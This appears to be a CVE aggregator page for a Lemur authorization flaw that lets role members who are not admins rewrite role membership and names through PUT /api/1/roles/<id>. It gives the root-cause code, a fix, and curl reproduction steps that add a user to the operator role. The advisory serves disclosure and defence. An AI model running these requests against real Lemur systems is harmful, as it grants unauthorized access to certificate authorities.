CVE-2026-55163

MEDIUMPre-NVD 6.36.3
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
6.3
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 6.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/

Summary

The PUT /api/1/roles/ handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:
permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...
lemur/auth/permissions.py:56:
class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)
flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/roles/` | lemur/roles/views.py:298 |

Impact

A user who is a member of role X can:
  • Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
  • Remove other users from role X, denying their access (availability / governance impact).
  • Rename role X to an arbitrary string.
The "rename to admin" path is blocked by the
unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add
@admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:
@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...
If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role *ownership* rather than membership, and the
name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

  • Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.
  • Authenticate as alice and capture the JWT:
curl -X POST https://lemur.local/api/1/auth/login \
        -H "Content-Type: application/json" \
        -d '{"username":"alice","password":""}'
  • Confirm the initial state - bob is not a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer "
   # observe: alice present in users list, bob absent
  • As alice, send a PUT that injects bob into the operator role:
curl -X PUT https://lemur.local/api/1/roles/ \
        -H "Authorization: Bearer " \
        -H "Content-Type: application/json" \
        -d '{
              "name": "operator",
              "description": "modified by alice",
              "users": [{"id": }, {"id": }]
            }'
   # observe: HTTP 200
  • Confirm bob is now a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer "
   # observe: bob now present in users list
Step 4 succeeds despite
alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2"` in step 4 renames the role, demonstrating the second variant of the bug.

CVSS v3
6.3
EG Score
6.3(low)
EPSS
KEV
Not listed

Published

June 25, 2026

Last Modified

June 25, 2026

Vendor Advisories for CVE-2026-55163(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 7× in last 7d / 12× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 08:47 UTCEG score recompute
  2. 2026-07-05 10:02 UTCEG score recompute
  3. 2026-07-04 11:18 UTCEG score recompute
  4. 2026-07-03 12:36 UTCEG score recompute
  5. 2026-07-02 13:46 UTCEG score recompute
  6. 2026-07-01 15:04 UTCEG score recompute
  7. 2026-06-30 16:20 UTCEG score recompute
  8. 2026-06-29 17:37 UTCEG score recompute
  9. 2026-06-28 18:53 UTCEG score recompute
  10. 2026-06-27 20:11 UTCEG score recompute
  11. 2026-06-26 21:28 UTCEG score recompute
  12. 2026-06-25 22:46 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55163?
CVE-2026-55163 is a medium vulnerability published on June 25, 2026. Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id> Summary The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(roleid).can(), which is satisfied for any user who is already a member of the target role.…
When was CVE-2026-55163 disclosed?
CVE-2026-55163 was first published in the National Vulnerability Database on June 25, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55163?
CVE-2026-55163 has a CVSS v4.0 base score of 6.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55163?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55163, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55163

Explore →

Is Your Infrastructure Affected by CVE-2026-55163?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.